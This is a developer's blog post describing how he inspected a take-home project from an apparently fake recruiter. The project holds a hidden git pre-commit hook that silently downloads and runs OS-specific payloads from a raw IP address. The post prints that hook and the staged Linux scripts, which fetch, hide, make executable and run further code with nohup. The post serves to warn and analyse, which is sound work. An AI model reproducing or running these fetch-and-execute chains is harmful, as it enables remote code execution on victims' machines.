I Inspected My Take-Home Interview Project. It Was a Whole Operation

CITIZENDOT1 pts0 comments

Appaji - Software Engineer

A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose.

Here is the initial message:

Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good.<br>Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game. Rookie mistake.

Red flags immediately started waving. Why the astronomical budget? I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up.

I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions.

I extracted the zip. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity.

This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the first time it paid off in the real world.

❯ tree -a .<br>├── alembic.ini<br>├── for learning<br>│   ├── dtos.py<br>│   ├── main.py<br>│   └── mockData.py<br>├── .git<br>│   ├── config<br>│   ├── description<br>│   ├── gk<br>│   │   └── config<br>│   ├── HEAD<br>│   ├── hooks<br>│   │   ├── applypatch-msg<br>│   │   ├── commit-msg<br>│   │   ├── fsmonitor-watchman<br>│   │   ├── post-applypatch<br>│   │   ├── post-checkout<br>│   │   ├── post-commit<br>│   │   ├── post-merge<br>│   │   ├── post-receive<br>│   │   ├── post-rewrite<br>│   │   ├── post-update<br>│   │   ├── pre-applypatch<br>│   │   ├── pre-auto-gc<br>│   │   ├── pre-commit<br>│   │   ├── pre-merge-commit<br>│   │   ├── prepare-commit-msg<br>│   │   ├── pre-push<br>│   │   ├── pre-rebase<br>│   │   ├── pre-receive<br>│   │   ├── proc-receive<br>│   │   ├── push-to-checkout<br>│   │   ├── sendemail-validate<br>│   │   └── update<br>│   ├── index<br>│   ├── info<br>│   │   └── exclude<br>│   ├── logs<br>...<br>Wait a minute. A ton of Git hooks were pre-configured in the repository. I opened the pre-commit script to see what they were trying to run.

❯ cat .git/hooks/pre-commit<br>#!/bin/sh

case "$(uname -s)" in<br>Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;<br>Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;<br>MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;<br>*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;<br>esac<br>Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload.

Side note : Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!

Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind.

❯ curl http://45.61.164.38:5777/task/linux?id=402<br>#!/bin/bash<br>set -e<br>echo "Authenticated"<br>TARGET_DIR="$HOME/Documents"<br>clear<br>wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"<br>clear<br>mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"<br>clear<br>chmod +x "$TARGET_DIR/tokenlinux.sh"<br>clear<br>nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &<br>clear<br>exit 0<br>The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that specific extension later). It then hides the file in my ~/Documents directory as tokenlinux.sh, makes it executable, and fires it off in the background using nohup.

From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.

Down the rabbit hole we go. Let’s inspect this next script.

❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402<br>...<br>...<br>BASE_URL="http://45.61.164.38:5777"<br>...

# Step 8: Download files

# Check if curl is available

if ! command -v curl >/dev/null 2>&1; then<br># If curl is not available, use wget<br>wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"<br>wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"<br>else<br># If curl is available, use curl<br>curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"<br>curl -s -L -o "$USER_HOME/package.json"...

curl task tokenlinux http commit post

Related Articles